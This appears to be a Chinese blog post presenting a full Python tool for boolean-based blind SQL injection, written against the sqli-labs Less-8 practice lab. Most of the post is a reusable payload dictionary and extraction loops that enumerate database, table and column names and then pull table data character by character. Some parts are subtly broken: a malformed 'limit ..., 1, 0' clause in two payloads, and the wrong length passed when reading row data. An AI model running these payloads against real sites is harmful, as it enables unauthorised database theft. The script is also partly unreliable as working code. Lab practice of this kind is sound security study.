SQL注入:布尔注入脚本

实现思路

将payload以字典形式存储,循环遍历时对payload字符串中相应参数进行格式化。按以下顺序依次获取数据,其实四个步骤逻辑一样,都是先获取数量,然后获取长度,最后获取内容。

  1. 数据库名:获取库名长度,库名
  2. 数据库表:获取数据库表数量,表名长度,表名
  3. 表字段:获取字段数,字段名长度,字段名
  4. 表数据:获取该字段数据行数,数据长度,数据内容

关键代码

获取不同数据的payload字典

payload_dict = {
    "db_name_len":      "' and if(length(database())={number}, 1, 0) -- qwe",
    "db_name":          "' and if(ascii(substr(database(), {substr_index}, 1))={number}, 1, 0) -- qwe",
    "table_num":        "' and if((select count(*) from information_schema.tables where table_schema=database())={number}, 1, 0) -- qwe",
    "table_name_len":   "' and if(length((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1))={number}, 1, 0) -- qwe",
    "table_name":       "' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
    "column_num":       "' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='{table_name}')={number}, 1, 0) -- qwe",
    "column_name_len":  "' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1))={number}, 1, 0) -- qwe",
    "column_name":      "' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
    "data_num":         "' and if((select count(*) from {table_name})={number}, 1, 0) -- qwe",
    "data_len":         "' and if(length((select {column_name} from {table_name} limit {limit_index}, 1, 0))={number}, 1, 0) -- qwe",
    "data":             "' and if(ascii(substr((select {column_name} from {table_name} limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe"
}

核心函数

# 获取数据长度/数量
def get_len(payload, **parameter):
    target_url = url + payload
    for i in range(999):
        parameter["number"] = i
        res = conn.get(target_url.format(**parameter))
        if flag in res.text:
            return i

# 获取数据内容
def get_content(payload, **parameter):
    name = ""
    target_url = url + payload
    substr_index = parameter["substr_index"]
    # 根据字段长度,遍历获取每个字符
    for i in range(1, substr_index+1):
        parameter["substr_index"] = i
        # 猜解字符
        for j in range(33, 128):
            parameter["number"] = j
            res = conn.get(target_url.format(**parameter))
            if flag in res.text:
                name += chr(j)
    return name

substr_index参数每次传进来的是数据长度,然后再遍历猜解每个字符


全部代码
# sql布尔盲注
"""
实现思路
1. 获取库名长度
2. 获取库名
3. 获取数据库表数量
4. 获取表名长度
5. 获取表名
6. 获取字段数
7. 获取字段名长度
8. 获取字段名
9. 获取数据表行数
10.获取该字段数据长度
11.获取数据内容
"""

import requests
flag = "You are in..........."
conn = requests.session()
url = "http://localhost/sqli/Less-8/?id=1"

# 获取不同数据的payload字典
payload_dict = {
    "db_name_len":      "' and if(length(database())={number}, 1, 0) -- qwe",
    "db_name":          "' and if(ascii(substr(database(), {substr_index}, 1))={number}, 1, 0) -- qwe",
    "table_num":        "' and if((select count(*) from information_schema.tables where table_schema=database())={number}, 1, 0) -- qwe",
    "table_name_len":   "' and if(length((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1))={number}, 1, 0) -- qwe",
    "table_name":       "' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
    "column_num":       "' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='{table_name}')={number}, 1, 0) -- qwe",
    "column_name_len":  "' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1))={number}, 1, 0) -- qwe",
    "column_name":      "' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
    "data_num":         "' and if((select count(*) from {table_name})={number}, 1, 0) -- qwe",
    "data_len":         "' and if(length((select {column_name} from {table_name} limit {limit_index}, 1, 0))={number}, 1, 0) -- qwe",
    "data":             "' and if(ascii(substr((select {column_name} from {table_name} limit {limit_index}, 1, 0), {substr_index}, 1))={number}, 1, 0) -- qwe"
}

# 传参字典
parameter = {}

# 获取数据库名
def get_dbname():
    print("[*] ===================开始获取数据库名长度===================")
    db_name_len = get_len(payload_dict["db_name_len"])
    print("[+] 数据库名长度为: ", db_name_len)
    db_name = get_content(payload_dict["db_name"], substr_index=db_name_len)
    print("[+] 数据库名为: ", db_name)
    return db_name

# 获取库中所有表(返回列表形式)
def get_table(db_name):
    print("[*] ===================开始获取所有表===================")
    # 获取数据库表数量
    table_num = get_len(payload_dict["table_num"])
    print("[*] 数据库{}的表数量为{}".format(db_name, table_num))
    # 获取所有表名
    table_list = []
    for i in range(table_num):
        # 先获取表名长度
        table_name_len = get_len(payload_dict["table_name_len"], limit_index=i)
        # 再获取表名
        # 先给substr_index传最大值,也就是表名的长度,然后再遍历
        table_name = get_content(payload_dict["table_name"], substr_index=table_name_len, limit_index=i)
        print("[+] 第{}个表名为: {}".format(i+1, table_name))
        table_list.append(table_name)
    return table_list

# 获取数据表中所有字段(返回列表形式)
def get_column(table_name):
    print("[*] ===================开始获取数据表字段===================")
    # 先获取字段数
    column_num = get_len(payload_dict["column_num"], table_name=table_name)
    print("[+] 字段数为: ", column_num)
    # 获取所有字段
    column_list = []
    for i in range(column_num):
        # 先获取字段长度
        column_name_len = get_len(payload_dict["column_name_len"], table_name=table_name, limit_index=i)
        # 再获取字段名
        column_name = get_content(payload_dict["column_name"], table_name=table_name, limit_index=i, substr_index=column_name_len)
        print("[+] 第{}个字段为: {}".format(i+1, column_name))
        column_list.append(column_name)
    return column_list

# 获取列中所有数据(返回列表形式)
def get_column_data(table_name, column_name):
    print("[*] ===================正在获取列{}的数据===================".format(column_name))
    # 先获取数据行数
    data_num = get_len(payload_dict["data_num"], table_name=table_name)
    # 获取数据内容
    data_list = []
    for i in range(data_num):
        # 先获取每行数据长度
        data_len = get_len(payload_dict["data_len"], table_name=table_name, column_name=column_name, limit_index=i)
        # 再获取每行数据内容
        data = get_content(payload_dict["data"], table_name=table_name, column_name=column_name, limit_index=i, substr_index=data_num)
        print("[+] ", data)
        data_list.append(data)
    return data_list

# 数据获取主函数
def get_data(table_list):
    while True:
        # 遍历表
        for i in range(len(table_list)):
            print([i+1], " ", table_list[i])
        index = input("要获取哪个表的数据(输入序号)")
        try:
            index = int(index)
        except Exception:
            print("非法输入")
            continue
        if index > len(table_list) or index < 1:
            print("请重新确认序号")
            continue
        # 用字典来保存表中的数据
        data = {}
        # 先获取列
        column_list = get_column(table_list[index-1])
        # 遍历列
        for j in column_list:
            data[j] = get_column_data(table_list[index-1], j)

        # 以表格形式输出
        for key in data.keys():
            print(key, end="    ")
        print("") # 换行

        value_list = [i for i in data.values()]
        column_num = len(data.keys())
        row_num = len(value_list[0])
        for i in range(row_num):
            for j in range(column_num):
                print(value_list[j][i], end="    ")
            print("")

# 核心函数, 用于获取数据长度/数量
def get_len(payload, **parameter):
    target_url = url + payload
    for i in range(999):
        parameter["number"] = i
        res = conn.get(target_url.format(**parameter))
        if flag in res.text:
            return i

# 核心函数, 用于获取数据内容
def get_content(payload, **parameter):
    name = ""
    target_url = url + payload
    substr_index = parameter["substr_index"] = parameter["substr_index"]
    # 根据字段长度,遍历获取每个字符
    for i in range(1, substr_index+1):
        parameter["substr_index"] = i
        # 猜解字符
        for j in range(33, 128):
            parameter["number"] = j
            res = conn.get(target_url.format(**parameter))
            if flag in res.text:
                name += chr(j)
    return name

if __name__ == '__main__':
    db_name = get_dbname()
    table_list = get_table(db_name)
    get_data(table_list)

运行效果在这里插入图片描述
  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值